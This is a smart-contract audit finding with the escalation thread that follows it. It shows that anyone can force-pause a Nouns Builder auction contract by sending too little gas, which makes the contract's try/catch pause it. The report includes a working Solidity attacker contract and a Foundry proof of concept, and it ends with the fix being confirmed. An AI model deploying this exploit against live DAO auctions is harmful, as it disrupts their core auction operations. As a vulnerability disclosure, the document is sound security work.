Tricko - Attacker can force pause the Auction contract.

[sherlock-admin2]

Tricko

medium

Attacker can force pause the Auction contract.

Summary

In certain situations (e.g founders have ownership percentage greater than 51) an attacker can potentially exploit the try catch within the Auction._CreateAuction() function to arbitrarily pause the auction contract.

Vulnerability Detail

Consider the code from Auction._CreateAuction() function, which is called by Auction.settleCurrentAndCreateNewAuction(). It first tries to mint a new token for the auction, and if the minting fails the catch branch will be triggered, pausing the auction.

function _createAuction() private returns (bool) {
	// Get the next token available for bidding
	try token.mint() returns (uint256 tokenId) {
		// Store the token id
		auction.tokenId = tokenId;

		// Cache the current timestamp
		uint256 startTime = block.timestamp;

		// Used to store the auction end time
		uint256 endTime;

		// Cannot realistically overflow
		unchecked {
			// Compute the auction end time
			endTime = startTime + settings.duration;
		}

		// Store the auction start and end time
		auction.startTime = uint40(startTime);
		auction.endTime = uint40(endTime);

		// Reset data from the previous auction
		auction.highestBid = 0;
		auction.highestBidder = address(0);
		auction.settled = false;

		// Reset referral from the previous auction
		currentBidReferral = address(0);

		emit AuctionCreated(tokenId, startTime, endTime);
		return true;
	} catch {
		// Pause the contract if token minting failed
		_pause();
		return false;
	}
}

Due to the internal logic of the mint function, if there are founders with high ownership percentages, many tokens can be minted to them during calls to mintas part of the vesting mechanism. As a consequence of this under some circumstances calls to mint can consume huge amounts of gas.

Currently on Ethereum and EVM-compatible chains, calls can consume at most 63/64 of the parent's call gas (See EIP-150). An attacker can exploit this circumstances of high gas cost to restrict the parent gas call limit, making token.mint() fail and still leaving enough gas left (1/64) for the _pause() call to succeed. Therefore he is able to force the pausing of the auction contract at will.

Based on the gas requirements (1/64 of the gas calls has to be enough for _pause() gas cost of 21572), then token.mint() will need to consume at least 1359036 gas (63 * 21572), consequently it is only possible on some situations like founders with high percentage of vesting, for example 51 or more.

Consider the following POC. Here we are using another contract to restrict the gas limit of the call, but this can also be done with an EOA call from the attacker.

Exploit contract code:

pragma solidity ^0.8.16;

contract Attacker {
    function forcePause(address target) external {
        bytes4 selector = bytes4(keccak256("settleCurrentAndCreateNewAuction()"));
        assembly {
            let ptr := mload(0x40)
            mstore(ptr,selector)
            let success := call(1500000, target, 0, ptr, 4, 0, 0)
        }
    }
}

POC:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;

import { NounsBuilderTest } from "./utils/NounsBuilderTest.sol";
import { MockERC721 } from "./utils/mocks/MockERC721.sol";
import { MockImpl } from "./utils/mocks/MockImpl.sol";
import { MockPartialTokenImpl } from "./utils/mocks/MockPartialTokenImpl.sol";
import { MockProtocolRewards } from "./utils/mocks/MockProtocolRewards.sol";
import { Auction } from "../src/auction/Auction.sol";
import { IAuction } from "../src/auction/IAuction.sol";
import { AuctionTypesV2 } from "../src/auction/types/AuctionTypesV2.sol";
import { TokenTypesV2 } from "../src/token/types/TokenTypesV2.sol";
import { Attacker } from "./Attacker.sol";

contract AuctionTest is NounsBuilderTest {
    MockImpl internal mockImpl;
    Auction internal rewardImpl;
    Attacker internal attacker;
    address internal bidder1;
    address internal bidder2;
    address internal referral;
    uint16 internal builderRewardBPS = 300;
    uint16 internal referralRewardBPS = 400;

    function setUp() public virtual override {
        super.setUp();
        bidder1 = vm.addr(0xB1);
        bidder2 = vm.addr(0xB2);
        vm.deal(bidder1, 100 ether);
        vm.deal(bidder2, 100 ether);
        mockImpl = new MockImpl();
        rewardImpl = new Auction(address(manager), address(rewards), weth, builderRewardBPS, referralRewardBPS);
        attacker = new Attacker();
    }

    function test_POC() public {
        // START OF SETUP
        address[] memory wallets = new address[](1);
        uint256[] memory percents = new uint256[](1);
        uint256[] memory vestingEnds = new uint256[](1);
        wallets[0] = founder;
        percents[0] = 99;
        vestingEnds[0] = 4 weeks;
        //Setting founder with high percentage ownership.
        setFounderParams(wallets, percents, vestingEnds);
        setMockTokenParams();
        setMockAuctionParams();
        setMockGovParams();
        deploy(foundersArr, tokenParams, auctionParams, govParams);
        setMockMetadata();
        // END OF SETUP

        // Start auction contract and do the first auction
        vm.prank(founder);
        auction.unpause();
        vm.prank(bidder1);
        auction.createBid{ value: 0.420 ether }(99);
        vm.prank(bidder2);
        auction.createBid{ value: 1 ether }(99);

        // Move block.timestamp so auction can end.
        vm.warp(10 minutes + 1 seconds);

        //Attacker calls the auction
        attacker.forcePause(address(auction));

        //Check that auction was paused.
        assertEq(auction.paused(), true);
    }
}

Impact

Should the conditions mentioned above be met, an attacker can arbitrarily pause the auction contract, effectively interrupting the DAO auction process. This pause persists until owners takes subsequent actions to unpause the contract. The attacker can exploit this vulnerability repeatedly.

Code Snippet

https://github.com/sherlock-audit/2023-09-nounsbuilder/blob/main/nouns-protocol/src/auction/Auction.sol#L238-L241

https://github.com/sherlock-audit/2023-09-nounsbuilder/blob/main/nouns-protocol/src/auction/Auction.sol#L292-L329

Tool used

Manual Review

Recommendation

Consider better handling the possible errors from Token.mint(), like shown below:

  function _createAuction() private returns (bool) {
      // Get the next token available for bidding
      try token.mint() returns (uint256 tokenId) {
          //CODE OMMITED
      } catch (bytes memory err) {
          // On production consider pre-calculating the hash values to save gas
          if (keccak256(abi.encodeWithSignature("NO_METADATA_GENERATED()")) == keccak256(err)) {
              _pause();
              return false
          } else if (keccak256(abi.encodeWithSignature("ALREADY_MINTED()") == keccak256(err)) {
              _pause();
              return false
          } else {
              revert OUT_OF_GAS();
          }
      } 

[nevillehuang]

This is a previously known issue already proven to be not possible and incorrectly awarded in the previous audit as seen in the comments here.

Additionally, even if this is possible, DAO can unpause the auction FOC, meaning the attacker would be effectively losing funds from gas to maliciously pause the contract.

[nevillehuang]

Hi @neokry @Czar102 can you double check this issue just in case. There is some code changes that i missed out from the previous C4 audit that seems to indicate this issue is possible from the PoC. But I believe this to be still invalid/lowseverity given auction can be unpaused free of charged by the DAO and no further loss of funds since users cannot bid anyways given auction did not start so the DoS is not permanent, and the malicious user would effectively be wasting gas funds to pause the auction.

[Arabadzhiew]

Escalate

This actually seems to be a valid finding. This comment from the above linked issue from the previous C4 contest seems to explain the current situation quite well.
The catch block was initially looking like this catch Error(string memory) {, while now it looks like this catch {. This means that initially, the catch block was only catching string errors, while now it will catch anything, including OOG reverts.

Additionally, since each unpause action will have to go through a separate governance proposal (which usually take a couple of days), this means that the auction participants will most likely lose interest in participating in the auctions of that particular DAO (especially if the auction gets paused multiple times), in turn - leading to a loss of funds for the DAO being exploited with this vulnerability.

Because of that, I believe that this issue warrants a Medium severity.

[sherlock-admin2]

Escalate

This actually seems to be a valid finding. This comment from the above linked issue from the previous C4 contest seems to explain the current situation quite well.
The catch block was initially looking like this catch Error(string memory) {, while now it looks like this catch {. This means that initially, the catch block was only catching string errors, while now it will catch anything, including OOG reverts.

Additionally, since each unpause action will have to go through a separate governance proposal (which usually take a couple of days), this means that the auction participants will most likely lose interest in participating in the auctions of that particular DAO (especially if the auction gets paused multiple times), in turn - leading to a loss of funds for the DAO being exploited with this vulnerability.

Because of that, I believe that this issue warrants a Medium severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[Oot2k]

I completely agree with @Arabadzhiew escalation.

The C4 issue was actually invalid in the old codebase, but in the new current codebase its valid / a valid concern.
Please see #125 for a foundry POC which demonstrates the issue.

The impact of this is IMO medium, because it requires a specific set of admin params, which are less likely to accrue in real world.
I still want to emphasis that this is exactly what the medium category is meant for.

For this reason I believe this issue and its duplicates are valid medium findings.

Best regards!

[nevillehuang]

1. No funds loss
2. DoS not permanent

For this reasons this should at most be low severity.

[neokry]

agree with @nevillehuang here. user also has to spend a relativly high amount of gas to execute this attack each time and realistically most DAOs have < 50% founder allocation

[Arabadzhiew]

Ok, first about the DOS part.
Theoretically speaking, since in the Governor contract we have both the MAX_VOTING_DELAY and MAX_VOTING_PERIOD constants set to 24 weeks, this means that if the votingDelay and votingPeriod values are set to those respective max values, a given auction can be paused for up to 336 days at a time. Combining this with the fact that this exploit can be repeated more than once, and we see that this actually qualifies as a DOS issue, as per the Sherlock docs. Obviously, a lot of things have to line up perfectly in order for this to happen, but the point is that it can theoretically happen.

For the loss of funds part.
I am just going to ask you all a question on this one. If you were going to participate in a NFT auction, but for some reason, this auction gets paused a number of times, for a couple of days each time, won't you just get fed up with that at some point and decide to go and invest your assets and time somewhere else?

[nevillehuang]

@Arabadzhiew Too many conditions need to be lined up for this to occur

1. Realistically speaking, no governance will set a voting period and voting delay of 24 weeks (5.5 months)
2. Even if theoretically possible, the attacker will need to perform this over and over again, each time wasting large amount of gas funds to block the auction, with no additional incentives to him
3. Since the auction has not started, no bidders can bid, so no-one will be losing funds here. No NFT will be minted to anyone, including the malicious attacker pausing.
4. The DAO can unpause at anytime by paying gas, so the cost of attack by the attacker is significantly larger than the DAO unpausing. So again, no incentives for him to perform this attack.
5. Sure users can get fed-up and governance may lose potential bidders, but I don't think that is a good enough reason to validate this issue as seen by this comment by @Czar102 here, where potential loss of profits from missing bidders is not a valid reason to validate the issue.

[Arabadzhiew]

I agree that both the impact from the DOS and the loss of fund issue are relatively questionable on their own, but given the fact that both of them are present with the vulnerability in question, it makes me consider it as one of a medium severity.

That's my take on the matter.

[Czar102]

What is the minimum percentage of the tokens founders need to have for this to be an issue? @Arabadzhiew
From my understanding, prevention would be quite easy by simply minting the tokens as they are vested, but this wouldn't work if we already had an issue of an attacker submitting these low-gas transactions (if they were frontrunning). Also, can anyone be the attacker here, or only the founders?

From my understanding, it can classify as medium as stopping the auction impacts protocol's core protocol functionality. But the number of assumptions here may be quite large, so I am not sure if the assumptions are reasonable.

[Arabadzhiew]

What is the minimum percentage of the tokens founders need to have for this to be an issue? @Arabadzhiew From my understanding, prevention would be quite easy by simply minting the tokens as they are vested, but this wouldn't work if we already had an issue of an attacker submitting these low-gas transactions (if they were frontrunning). Also, can anyone be the attacker here, or only the founders?

From my understanding, it can classify as medium as stopping the auction impacts protocol's core protocol functionality. But the number of assumptions here may be quite large, so I am not sure if the assumptions are reasonable.

In this report it is stated that the minimum percentage is 51, but I can't confirm on that number. Also, yes, anyone can be an attacker here, since the settleCurrentAndCreateNewAuction function, which is the one being used for this exploit, does not have any access control.

[Oot2k]

I am not sure but in the old report the amount needed was ~26. And yes technically the DOS can last a year / every time the dao its unpaused it can be dosed again. Most of the time proposal period is set to > 2 weeks so it would cut the earnings of a DAO significantly.

But yes the amount of founders tokens is quite unlikely, maybe if there is only a short auction time -> so high supply of tokens this could happen realistically.

[Czar102]

I believe this is a valid Medium severity issue on the grounds of impacting core protocol functionality (not DoS or loss of funds). Planning to accept the escalation.

As a side note, as @nevillehuang mentioned, opportunity loss of the DAO is not a loss of funds.

[Czar102]

Result:
Medium
Has duplicates

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• Arabadzhiew: accepted

[neokry]

Fixed here: ourzora/nouns-protocol#125

[IAm0x52]

Fix looks good. OOG errors during minting no longer pause the contract.